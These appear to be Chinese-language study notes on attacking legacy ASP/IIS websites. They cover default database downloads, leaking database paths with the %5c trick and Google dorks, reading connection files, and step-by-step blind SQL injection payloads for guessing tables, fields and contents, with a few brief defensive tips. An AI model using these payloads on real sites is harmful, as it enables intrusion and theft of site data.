1、网站使用整套的开源代码,没有更改数据库的路径 就会产生默认数据库下载。
方法:怎样判断一个网站使用的开源版本:版权声明 源码中注释信息
防御:修改默认数据库的文件名和路径名 可以更改为特殊少见的名字 同时使用# 防止直接下载 (但是不可靠%23就可以解决了)或者改成asp后 缀(但是可以使用迅雷等软件下载 然后重新命名即可 这样的数据库也可能被插入一句话木马 成为一句话的服务器危害更大)
2、对于数据库连接信息没有隐藏,导致数据库路径泄漏 即暴库
方法:直接使用google 关键词 (汽车、美容、旅游等等)server.mapPath(".mdb")就可以搜索出大量的可以报出数据库信 息的网站,针对一个网站可能通过robots.txt 可能查出数据库路径,(应该下载搜索的范围 User- agent: * Allow: /data/*.htm 只允许访问.htm文件)当然这个robots.txt是个双刃剑 还可能报出很多有用信 息 如果使用不当
%5c暴库:将url的最后一个/改成%5c即/ url不会转义,而IIS以/表示真实的目录关系,以/表示虚拟路径。当IIS获取某个目录时, 如果碰到/符号,则将/符号之后的路径作为物理的绝对路径,而忽略/符号之前的路径信息,因此产生找不到指定文件的错误。 显示出网站数据库的路径信息。 当然完整的数据库信息还要加上 %5c之前的路径 当然暴三级目录比暴二级目录成功概率高,因为二级目录可能是虚拟目录
conn.asp暴库:
<!--include file='conn.inc'--> 可以直接查看conn.inc文件 看到数据库连接信息
防御:将数据库连接信息,放到单独文件中如conn.asp 在使用文件中 直接进入<!-- include file="conn.asp" --> 避免在源码中看到连接数据库语句信息
处理异常信息
sql注入
判断注入点 ' / and 1>0 / and 1<0 主要后面就是真或者假的就可以
猜表: ?id=1 and exists(select * from 表名) 正常时有该表
猜字段: ?id=1 and (select count(字段) from 表名)>=0
猜长度: ?id=1 and (select top 1 len(字段) from 表名)>* 确定长度
猜内容: ?id=1 and (select top 1 asc(mid(字段,N,1)) from 表名)>* 确定asc码
Ascii 0-9 48-57
Ascii a-z 97-122
Ascii A-Z 65-90
?id=1 and (select top 1 mid(字段,N,1) from 表名) ='g' 直接获得字符内容 如果是汉字内容 可以读取第一汉字 若使用asc 则返回的是负值 则怎么猜解汉字 还没有解决??
p { margin-bottom: 0.21cm; }a:link { }
asc(): 取绝对值
mid:Mid(string, start[, length]) : 返回 Variant (String) ,其中包含字符串中指定数量的字符。
cstr : 把其他类型的变量转换为字符串
枚举所有内容:
利用条件过滤:?id=1 and (select top 1 len(字段) from 表名 where 字段 not in ('查询结果1','查询结果2'))>*
利用排序操作:select top 1 字段1 from (select top N 字段1,id from 表名 order by id asc) T order by id desc